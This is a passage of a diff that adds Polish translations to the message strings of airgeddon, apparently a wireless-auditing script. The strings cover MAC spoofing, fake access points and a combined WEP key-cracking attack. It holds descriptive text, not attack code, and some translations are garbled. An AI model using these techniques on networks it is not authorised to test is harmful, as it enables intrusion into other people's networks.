καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",415]="${blue_color}airgeddon sa che hai BeEF installato e passi la validazione, peró non ha potuto trovare il percorso esatto della directory in cui hai installato BeEF. Conoscere l'esatta posizione ha alcuni vantaggi all'ora di eseguiro perchè la configurazione sarà personalizzata, piuttosto che una configurazione generica. ${green_color}Vuoi inserirla manualmente? ${normal_color}${visual_choice}" - arr["POLISH",415]="${pending_of_translation} " + arr["POLISH",415]="${pending_of_translation} ${blue_color}airgeddon wie, że masz zainstalowaną wersję BeEF i przejdziesz walidację, ale nie możesz określić dokładnej ścieżki katalogu, w której zainstalowałeś BeEF. Znajomość dokładnej lokalizacji ma pewne zalety w czasie jej wykonywania, ponieważ konfiguracja zostanie dostosowana do indywidualnych potrzeb, a nie jako konfiguracja ogólna. ${green_color}Czy chcesz go wprowadzić ręcznie? ${normal_color}${visual_choice}" arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" @@ -4638,7 +4638,7 @@ function language_strings() { arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πρίν" arr["ITALIAN",416]=" Puoi eseguire BeEF, peró si consiglia di eseguire prima la seconda opzione" - arr["POLISH",416]="${pending_of_translation} " + arr["POLISH",416]="${pending_of_translation} Możesz uruchomić BeEF, ale zaleca się uruchomienie drugiej opcji przed" arr["ENGLISH",417]="An unexpected error occurred, redirecting to the menu" arr["SPANISH",417]="Ocurrió un error inesperado. Volviendo al menú" @@ -4648,7 +4648,7 @@ function language_strings() { arr["RUSSIAN",417]="Случилась непредвиденная ошибка, перенаправление в меню" arr["GREEK",417]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, γίνεται ανακατεύθυνση στο μενού" arr["ITALIAN",417]="Errore imprevisto. Tornando al menú" - arr["POLISH",417]="${pending_of_translation} " + arr["POLISH",417]="${pending_of_translation} Wystąpił nieoczekiwany błąd. Wracając do menu" arr["ENGLISH",418]="Restoring MAC" arr["SPANISH",418]="Restaurando MAC" @@ -4658,7 +4658,7 @@ function language_strings() { arr["RUSSIAN",418]="Восстановление MAC-адреса" arr["GREEK",418]="Γίνεται αποκατάσταση της διεύθυνσης MAC" arr["ITALIAN",418]="Ripristinando MAC" - arr["POLISH",418]="${pending_of_translation} " + arr["POLISH",418]="${pending_of_translation} Przywracanie MAC" arr["ENGLISH",419]="Do you want to spoof your MAC address during this attack? ${normal_color}${visual_choice}" arr["SPANISH",419]="¿Deseas falsear la dirección MAC de tu tarjeta durante el ataque? ${normal_color}${visual_choice}" @@ -4668,7 +4668,7 @@ function language_strings() { arr["RUSSIAN",419]="Вы хотите подменить свой MAC-адрес во время этой атаки? ${normal_color}${visual_choice}" arr["GREEK",419]="Θέλετε να κρύψετε την αληθινή διεύθυνση MAC, δημιουργώντας μία ψεύτικη κατά την διάρκεια αυτής της επίθεσης; ${normal_color}${visual_choice}" arr["ITALIAN",419]="Vuoi falsificare l'indirizzo MAC della scheda durante l'attacco? ${normal_color}${visual_choice}" - arr["POLISH",419]="${pending_of_translation} " + arr["POLISH",419]="${pending_of_translation} Chcesz fałszować adres MAC karty podczas ataku? ${normal_color}${visual_choice}" arr["ENGLISH",420]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -4678,7 +4678,7 @@ function language_strings() { arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ITALIAN",420]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["POLISH",420]="${pending_of_translation} " + arr["POLISH",420]="${pending_of_translation} Wykryto, że używasz airgeddon w kontenerze Docker. W tym ataku hostapd służy do utworzenia fałszywego AP. Ten komponent często spotyka się z network-manager. Z pojemnika airgeddon nie może sobie z tym poradzić. Jeśli na komputerze hosta zainstalowano network-manager, zamknij lub zabijesz sprzeczne procesy lub otrzymasz błąd. Aby uzyskać więcej informacji, zobacz sekcję Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" @@ -4688,7 +4688,7 @@ function language_strings() { arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" arr["ITALIAN",421]="Domande? Visita la nostra Wiki: ${normal_color}${urlgithub_wiki}" - arr["POLISH",421]="${pending_of_translation} " + arr["POLISH",421]="${pending_of_translation} Czy masz wątpliwości? Odwiedź nasz Wiki: ${normal_color}${urlgithub_wiki}" arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" @@ -4698,7 +4698,7 @@ function language_strings() { arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" arr["ITALIAN",422]="L'aggiornamento automatico viene disabilitato quando airgeddon viene eseguito in un contenitore Docker. Se vuoi aggiornarlo scaricare di nuovo l'immagine con il tag \"latest\"" - arr["POLISH",422]="${pending_of_translation} " + arr["POLISH",422]="${pending_of_translation} Automatyczna aktualizacja została wyłączona, gdy airgeddon jest uruchomiony w kontenerze Docker. Jeśli chcesz ją zaktualizować, pobierz obraz ponownie ze znaczkiem \"latest\"" arr["ENGLISH",423]="5. WEP \"All-in-One\" attack" arr["SPANISH",423]="5. Ataque WEP \"Todo-en-Uno\"" @@ -4708,7 +4708,7 @@ function language_strings() { arr["RUSSIAN",423]="5. Атака на WEP \"Все-в-Одном\"" arr["GREEK",423]="5. Επίθεση WEP \"All-in-One\"" arr["ITALIAN",423]="5. Attacco WEP \"Tutto-in-Uno\"" - arr["POLISH",423]="${pending_of_translation} " + arr["POLISH",423]="${pending_of_translation} 5. Atak WEP \"Wszystko-w-Jednym\"" arr["ENGLISH",424]="The selected network is invalid. Encryption type of target network must be WEP" arr["SPANISH",424]="La red seleccionada no es válida. El tipo de encriptación de la red objetivo debe ser WEP" @@ -4718,7 +4718,7 @@ function language_strings() { arr["RUSSIAN",424]="Выбранная сеть не подходит. Целевая сеть должна иметь шифрование WEP" arr["GREEK",424]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Ο τύπος κρυπτογράφησης του δικτύου-στόχος πρέπει να είναι WEP" arr["ITALIAN",424]="La rete selezionata non è valida. Il tipo di crittografia della rete obiettivo deve essere WEP" - arr["POLISH",424]="${pending_of_translation} " + arr["POLISH",424]="${pending_of_translation} Wybrana sieć nie jest prawidłowa. Typem szyfrowania sieci docelowej musi być WEP" arr["ENGLISH",425]="You have a valid WEP target network selected. Script can continue..." arr["SPANISH",425]="Tienes una red objetivo WEP válida seleccionada. El script puede continuar..." @@ -4728,7 +4728,7 @@ function language_strings() { arr["RUSSIAN",425]="У вас есть подходящая целевая сеть WEP. Скрипт может продолжать..." arr["GREEK",425]="Έχετε επιλέξει ένα έγκυρο WEP δίκτυο-στόχος. Το script μπορεί να συνεχίσει..." arr["ITALIAN",425]="Hai selezionato una rete obiettivo WEP valida. Lo script può continuare..." - arr["POLISH",425]="${pending_of_translation} " + arr["POLISH",425]="${pending_of_translation} Wybrano prawidłową sieć docelową WEP. Skrypt może kontynuować..." arr["ENGLISH",426]="9. WEP attacks menu" arr["SPANISH",426]="9. Menú de ataques WEP" @@ -4738,7 +4738,7 @@ function language_strings() { arr["RUSSIAN",426]="9. Меню атак на WEP" arr["GREEK",426]="9. Μενού επιθέσεων WEP" arr["ITALIAN",426]="9. Menú degli attacchi WEP" - arr["POLISH",426]="${pending_of_translation} " + arr["POLISH",426]="${pending_of_translation} 9. Menu atakowania WEP" arr["ENGLISH",427]="WEP attacks menu" arr["SPANISH",427]="Menú de ataques WEP" @@ -4748,7 +4748,7 @@ function language_strings() { arr["RUSSIAN",427]="Меню атак на WEP" arr["GREEK",427]="Μενού επιθέσεων WEP" arr["ITALIAN",427]="Menú degli attacchi WEP" - arr["POLISH",427]="${pending_of_translation} " + arr["POLISH",427]="${pending_of_translation} Menu atakowania WEP" arr["ENGLISH",428]="If real clients exist connected to the WEP encrypted network, the process will be significantly accelerated. Enough IVs (Initialization Vectors) will be catched faster" arr["SPANISH",428]="Si existen clientes reales conectados a la red con encriptación WEP, el proceso se acelerará notablemente. Se obtendrán antes suficientes IVs (Vectores de Inicialización)" @@ -4758,7 +4758,7 @@ function language_strings() { arr["RUSSIAN",428]="Если к сети с WEP шифрованием подключены реальные клиенты, то процесс будет значительно ускорен. Будет быстрее накоплено достаточное количество IVs (Векторов Инициализации)" arr["GREEK",428]="Εάν υπάρχουν αληθινοί συνδεδεμένοι χρήστες στο κρυπτογραφημένο WEP δίκτυο, η διαδικασία θα επιταχυνθεί σημαντικά. Θα καταγραφθούν αρκετά IVs (Initialization Vectors) γρηγορότερα" arr["ITALIAN",428]="Se esistono dei clienti reali connessi alla rete con crittografia WEP il processo sará piú veloce. Si otterrano prima sufficienti IV (Vettori di Inizializzazione)" - arr["POLISH",428]="${pending_of_translation} " + arr["POLISH",428]="${pending_of_translation} Jeśli istnieją prawdziwe klienci podłączeni do sieci z szyfrowaniem WEP, proces przyspiesza zauważalnie. Wystarczające IVs (Wektory Inicjujące)" arr["ENGLISH",429]="The WEP \"All-in-One\" attack combines different techniques to generate enough traffic to decrypt the key (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, etc.)" arr["SPANISH",429]="El ataque WEP \"Todo-en-Uno\" combina diversas técnicas para generar el tráfico suficiente que hace falta para desencriptar la clave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentación, Falsa asociación, etc.)" @@ -4768,7 +4768,7 @@ function language_strings() { arr["RUSSIAN",429]="Атака WEP \"Все-в-Одном\" сочетает в себе различные методы генерации трафика, достаточного для расшифровки ключа (Caffe Latte, Hirte, Replay, Chop-Chop, Дробление, Фальшивые ассоциации и т.д.)" arr["GREEK",429]="Η \"All-in-One\" επίθεση WEP συνδυάζει διαφορετικές τεχνικές για να παραχθεί αρκετή κίνηση για να αποκρυπτογραφήσει το κλειδί (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, κλπ)" arr["ITALIAN",429]="L'attacco WEP \"Tutto-in-Uno\" combina diverse tecniche per generare il traffico necessario per decifrare la chiave (Caffe Latte, Hirte, Replay, Chop-Chop, Frammentazione, Falsa associazione, ecc.)" - arr["POLISH",429]="${pending_of_translation} " + arr["POLISH",429]="${pending_of_translation} WEP typu \"Wszystko-w-Jednym\" łączy różne techniki, aby uzyskać wystarczająco dużo ruchu, aby odszyfrować klucz (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fałszywe partnerstwo, itd.)" arr["ENGLISH",430]="If the password for the wifi network is obtained with the \"All-in-One\" WEP attack, you should decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${wep_potpath}]" arr["SPANISH",430]="Si se consigue la contraseña de la red wifi con el ataque WEP \"Todo-en-Uno\", hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${wep_potpath}]" @@ -4778,7 +4778,7 @@ function language_strings() { arr["RUSSIAN",430]="Если во время WEP атаки \"Все-в-Одном\" на Wi-Fi сеть получен пароль, вы должны решить, где его сохранить. ${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${wep_potpath}]" arr["GREEK",430]="Εάν βρεθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την επίθεση WEP \"All-in-One\", θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${wep_potpath}]" arr["ITALIAN",430]="Se si ottiene la password della rete wireless con l'attacco WEP \"Tutto-en-Uno\", decidere dove salvarla. ${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${wep_potpath}]" - arr["POLISH",430]="${pending_of_translation} " + arr["POLISH",430]="${pending_of_translation} Jeśli hasło sieci wifi zostanie pobrane z atakiem WEP \"Wszystko-w-Jednym\", musisz zdecydować, gdzie go zapisać. ${green_color}Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${wep_potpath}]" arr["ENGLISH",431]="The WEP protocol had a bad design and can be cracked in a few minutes if we have enough generated traffic" arr["SPANISH",431]="El protocolo WEP tuvo un diseño erróneo y se puede romper en pocos minutos si se genera tráfico suficiente" @@ -4788,7 +4788,7 @@ function language_strings() { arr["RUSSIAN",431]="Протокол WEP сделан неудачно и при достаточном количестве сгенерированного трафика может быть взломан в считанные минуты" arr["GREEK",431]="Το πρωτόκολλο WEP είχε κακό σχεδιασμό και μπορεί να σπάσει μέσα σε λίγα λεπτά, αν έχουμε αρκετή κίνηση πακέτων" arr["ITALIAN",431]="Il protocollo WEP fú disegnato male e si puó rompere in pochi minuti se si genera abbastanza traffico" - arr["POLISH",431]="${pending_of_translation} " + arr["POLISH",431]="${pending_of_translation} Protokół WEP został nieprawidłowo zaprojektowany i może zostać zerwany po kilku minutach, jeśli zostanie wygenerowany wystarczający ruch" arr["ENGLISH",432]="Captured IVs (Initialization Vectors) are shown on airodump capture window as \"Data\"" arr["SPANISH",432]="Los IVs (Vectores de Inicialización) capturados, son representados en la ventana de captura de airodump como \"Data\"" @@ -4798,7 +4798,7 @@ function language_strings() { arr["RUSSIAN",432]="Захваченные IVs (Векторы Инициализации) показаны в окне захвата airodump как \"Data\"" arr["GREEK",432]="Τα ληφθέντα IVs (Initialization Vectors) εμφανίζονται στο παράθυρο καταγραφής airodump ως \"Data\"" arr["ITALIAN",432]="I IV (Vettori di Inizializzazione) catturati, sono rappresentati nella finestra di acquisizione di airodump come \"Data\"" - arr["POLISH",432]="${pending_of_translation} " + arr["POLISH",432]="${pending_of_translation} Uchwycone obiekty IV (Wektory Inicjujące) są reprezentowane w oknie przechwytywania airodump jako \"Data\"" arr["ENGLISH",433]="Some access points are not vulnerable to certain WEP attacks. Like for example the Chop-Chop attack, that only affects some of them" arr["SPANISH",433]="Algunos puntos de acceso no son vulnerables a ciertos ataques WEP. Como por ejemplo el ataque Chop-Chop, que solo afecta a algunos" @@ -4808,7 +4808,7 @@ function language_strings() { arr["RUSSIAN",433]="Некоторые точки доступа не подвержены определенным атакам WEP. Например, атаке Chop-Chop подвержены только некоторые из них" arr["GREEK",433]="Ορισμένα σημεία πρόσβασης δεν είναι ευάλωτα σε ορισμένες επιθέσεις WEP. Για παράδειγμα η επίθεση Chop-Chop, επηρεάζει μόνο μερικά από αυτά" arr["ITALIAN",433]="Alcuni punti di accesso non sono vulnerabili a certi attacchi WEP. Come ad esempio l'attacco Chop-Chop, che colpisce solo alcuni" - arr["POLISH",433]="${pending_of_translation} " + arr["POLISH",433]="${pending_of_translation} Niektóre punkty dostępu nie są podatne na niektóre ataki WEP. Podobnie jak na przykład atak Chop-Chop, który dotyka tylko niektórych osób" arr["ENGLISH",434]="WEP \"All-in-One\" attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",434]="El ataque WEP \"Todo-en-Uno\" ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" @@ -4818,7 +4818,7 @@ function language_strings() { arr["RUSSIAN",434]="Атака WEP \"Все-в-Одном\" началась. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",434]="Η επίθεση WEP \"All-in-One\" έχει αρχίσει. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",434]="L'attacco WEP \"Tutto-in-Uno\" è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" - arr["POLISH",434]="${pending_of_translation} " + arr["POLISH",434]="${pending_of_translation} Rozpoczął się atak WEP \"Wszystko-w-Jednym\". Naciśnij klawisz [Enter] w tym oknie, aby go zatrzymać" arr["ENGLISH",435]="Error trying to change interface mode. During the process the interface name must be changed, but it looks like you already have an interface occupying the name that would be needed (${normal_color}${desired_interface_name}${red_color})" arr["SPANISH",435]="Error al intentar cambiar el modo de la interfaz. En el proceso el nombre de la interfaz cambia, pero parece que ya tienes una interfaz ocupando el nombre que se necesitaría (${normal_color}${desired_interface_name}${red_color})" @@ -4828,7 +4828,7 @@ function language_strings() { arr["RUSSIAN",435]="Ошибка при попытке изменить режим интерфейса. Во время этого процесса имя интерфейса должно быть изменено, но похоже, что у вас уже есть интерфейс, занимающий нужное имя (${normal_color}${desired_interface_name}${red_color})" arr["GREEK",435]="Προέκυψε σφάλμα καθώς άλλαζε η κατάσταση της διεπαφής. Κατά τη διάρκεια της διαδικασίας, το όνομα της διεπαφής πρέπει να αλλάξει, αλλά φαίνεται ότι έχετε ήδη μια διεπαφή που έχει το όνομα που θα χρειαζόταν (${normal_color}${desired_interface_name}${red_color})" arr["ITALIAN",435]="Errore cercando di cambiare la modalità dell'interfaccia. Nel processo il nome dell'interfaccia cambia, peró sembra che già disponi di un'interfaccia che usa il nome di cui avresti bisogno (${normal_color}${desired_interface_name}${red_color})" - arr["POLISH",435]="${pending_of_translation} " + arr["POLISH",435]="${pending_of_translation} Wystąpił błąd podczas próby zmiany trybu interfejsu. W trakcie zmiany nazwy interfejsu, ale wygląda na to, że masz już interfejs o nazwie, która będzie potrzebna (${normal_color}${desired_interface_name}${red_color})" arr["ENGLISH",436]="The hashcat version you have installed (${hashcat_version}) is greater or equal than ${hashcat_hccapx_version} so you need to convert the capture files to \"hccapx\" format, airgeddon will do this automatically. To do this you need a converter that is not present on your system (hashcat-utils package), install it to be able to perform this attack" arr["SPANISH",436]="La versión de hashcat que tienes instalada (${hashcat_version}) es igual o superior a la ${hashcat_hccapx_version} por lo que es necesario convertir los ficheros de captura a formato \"hccapx\", airgeddon lo hará automáticamente. Pero para ello hace falta un conversor que no está presente en tu sistema (paquete hashcat-utils), instálalo para poder realizar este ataque" @@ -4838,7 +4838,7 @@ function language_strings() { arr["RUSSIAN",436]="Установленная версия hashcat (${hashcat_version}) больше или равна ${hashcat_hccapx_version}, поэтому вам нужно конвертировать файлы захвата в формат \"hccapx\", airgeddon сделает это автоматически. Для этого вам нужен конвертер, которого нет в вашей системе (пакет hashcat-utils), установите его, чтобы иметь возможность выполнить эту атаку" arr["GREEK",436]="Η έκδοση του hashcat που έχετε εγκαταστήσει (${hashcat_version}) είναι ίδια ή νεότερη από την έκδοση ${hashcat_hccapx_version}, άρα το airgeddon θα μετατρέψει τα αρχεία καταγραφής σε \"hccapx\" για να συνεχιστεί η διαδικασία. Για να επιτευχθεί αυτό χρειάζεστε ένα μετατροπέα που δεν υπάρχει στο σύστημά σας (περιέχεται στο πακέτο hashcat-utils), εγκαταστήστε το για να εκτελέσετε αυτήν την επίθεση" arr["ITALIAN",436]="La versione di hashcat installata (${hashcat_version}) è uguale o superiore alla ${hashcat_hccapx_version} quindi è necessario convertire i file di acquisizione al formato \"hccapx\", airgeddon lo fará automaticamente. Peró questo richiede un convertitore che non è presente nel sistema (pacchetto hashcat-utils), installalo per eseguire questo attacco" - arr["POLISH",436]="${pending_of_translation} " + arr["POLISH",436]="${pending_of_translation} Zainstalowana wersja programu hashcat (${hashcat_version}) jest równa lub większa niż ${hashcat_hccapx_version}, dlatego konieczne jest przekonwertowanie plików przechwytywania do formatu \"hccapx\", airgeddon zrobi to automatycznie. Do tego potrzebny jest konwerter, który nie jest obecny w systemie (pakiet hashcat-utils), zainstaluj go, aby móc wykonać ten atak" arr["ENGLISH",437]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through Paypal (${normal_color}${mail}${pink_color}) or sending a fraction of a bitcoin (${normal_color}${bitcoin}${pink_color}). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: ${normal_color}${urlgithub_wiki}/Contributing" arr["SPANISH",437]="Si te gustó el script y te pareció útil, puedes apoyar el proyecto haciendo una donación. A través de Paypal (${normal_color}${mail}${pink_color}) o enviando una fracción de bitcoin (${normal_color}${bitcoin}${pink_color}). Cualquier cantidad por pequeña que sea (1, 2, 5 $/€) es bien recibida. Más información y enlaces directos para realizarla en: ${normal_color}${urlgithub_wiki}/Contributing" @@ -4848,7 +4848,7 @@ function language_strings() { arr["RUSSIAN",437]="Если вам понравилась эта программа и она оказался для вас полезной, вы можете поддержать проект, сделав пожертвование. Через PayPal (${normal_color}${mail}${pink_color}) или отправив часть биткойна на (${normal_color}${bitcoin}${pink_color}). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: ${normal_color}${urlgithub_wiki}/Contributing" arr["GREEK",437]="Εαν ευχαριστηθήκατε το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω του Paypal (${normal_color}${mail}${pink_color}) ή στέλνοντας κάποιο ποσοστό bitcoin (${normal_color}${bitcoin}${pink_color}). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά στη διεύθυνση: ${normal_color}${urlgithub_wiki}/Contributing" arr["ITALIAN",437]="Se ti è piaciuto lo script e l'hai trovato utile, puoi sostenere il progetto con una donazione. Attraverso PayPal (${normal_color}${mail}${pink_color}) o inviando una frazione di bitcoin (${normal_color}${bitcoin}${pink_color}). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Piú informazioni e collegamenti diretti per realizzarla in: ${normal_color}${urlgithub_wiki}/Contributing" - arr["POLISH",437]="${pending_of_translation} " + arr["POLISH",437]="${pending_of_translation} Jeśli podobał Ci się ten scenariusz i okazał się użyteczny, możesz poprzeć ten projekt, składając darowiznę. Za pośrednictwem Paypal (${normal_color}${mail}${pink_color}) lub wysyłając ułamek bitcoin (${normal_color}${bitcoin}${pink_color}). Zapraszamy wszystkich małych (1, 2, 5 $/€) małych. Wię cej informacji i linki do tego w: ${normal_color}${urlgithub_wiki}/Contributing" arr["ENGLISH",438]="We are looking for translators to other languages. If you want to see airgeddon in your native language and you also know english, contact us. More information at: ${normal_color}${urlgithub_wiki}/Contributing" arr["SPANISH",438]="Buscamos traductores para otros idiomas. Si quieres ver airgeddon en tu lengua materna y además sabes inglés, contáctanos. Más información en: ${normal_color}${urlgithub_wiki}/Contributing" @@ -4858,7 +4858,7 @@ function language_strings() { arr["RUSSIAN",438]="Мы ищем переводчиков на другие языки. Если вы хотите увидеть airgeddon на своем родном языке, и вы знаете английский язык, пожалуйста, свяжитесь с нами. Дополнительная информация: ${normal_color}${urlgithub_wiki}/Contributing" arr["GREEK",438]="Ψάχνουμε μεταφραστές για την υποστήριξη περισσότερων γλωσσών. Αν θέλετε να χρησιμοποιείτε το airgeddon στη μητρική σας γλώσσα, αλλά ξέρετε και αγγλικά, παρακαλούμε επικοινωνήστε μαζί μας. Περισσότερες πληροφορίες: ${normal_color}${urlgithub_wiki}/Contributing" arr["ITALIAN",438]="Cerchiamo traduttori per le altre lingue. Se volete vedere airgeddon nella vostra lingua madre e conoscete anche l'inglese, non esitate a contattarci. Per maggiori informazioni: ${normal_color}${urlgithub_wiki}/Contributing" - arr["POLISH",438]="${pending_of_translation} " + arr["POLISH",438]="${pending_of_translation} Szukamy tłumaczy w innych językach. Jeśli chcesz zobaczyć airgeddon w swoim ojczystym języku i znasz angielski, skontaktuj się z nami. Więcej informacji o: ${normal_color}${urlgithub_wiki}/Contributing" arr["ENGLISH",439]="${blue_color}You haven't selected any target, you'll be prompted to input data manually. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",439]="${blue_color}Se ha detectado que no tienes seleccionado ningún objetivo, tendrás que introducir los datos manualmente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4868,7 +4868,7 @@ function language_strings() { arr["RUSSIAN",439]="${blue_color}Вы не выбрали какую-либо цель, вам будет предложено ввести данные вручную. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",439]="${blue_color}Δεν έχετε επιλέξει κάποιο στόχο, θα σας ζητηθεί να εισάγετε τα δεδομένα χειροκίνητα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",439]="${blue_color}Abbiamo rilevato che non è stato selezionato alcun obiettivo, è necessario immettere manualmente i dati. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",439]="${pending_of_translation} " + arr["POLISH",439]="${pending_of_translation} Wykryto, że nie wybrano żadnych celów, konieczne będzie ręczne wprowadzanie danych. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" arr["ENGLISH",440]="Aircrack trophy file generated successfully at [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["SPANISH",440]="Fichero de trofeo aircrack generado con éxito en [${normal_color}${aircrackpotenteredpath}${blue_color}]" @@ -4878,7 +4878,7 @@ function language_strings() { arr["RUSSIAN",440]="Трофейный файл aircrack был успешно сгенерирован в [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["GREEK",440]="Το aircrack αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["ITALIAN",440]="Il file trofeo di aircrack è stato generato con successo in [${normal_color}${aircrackpotenteredpath}${blue_color}]" - arr["POLISH",440]="${pending_of_translation} " + arr["POLISH",440]="${pending_of_translation} Plik trofeum aircrack został pomyślnie wygenerowany w [${normal_color}${aircrackpotenteredpath}${blue_color}]" arr["ENGLISH",441]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${aircrack_potpath}]" arr["SPANISH",441]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${aircrack_potpath}]" @@ -4888,7 +4888,7 @@ function language_strings() { arr["RUSSIAN",441]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${aircrack_potpath}]" arr["GREEK",441]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${aircrack_potpath}]" arr["ITALIAN",441]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello proposto di default ${normal_color}[${aircrack_potpath}]" - arr["POLISH",441]="${pending_of_translation} " + arr["POLISH",441]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${aircrack_potpath}]" arr["ENGLISH",442]="If you install ccze you'll see some parts of airgeddon in a colorized way with better aspect. It's not a requirement or a dependency, but it will improve the user experience" arr["SPANISH",442]="Si instalas el paquete ccze podrás ver algunas partes de airgeddon colorizadas y con mejor aspecto. No es un requerimiento ni una dependencia, pero mejorará la experiencia de 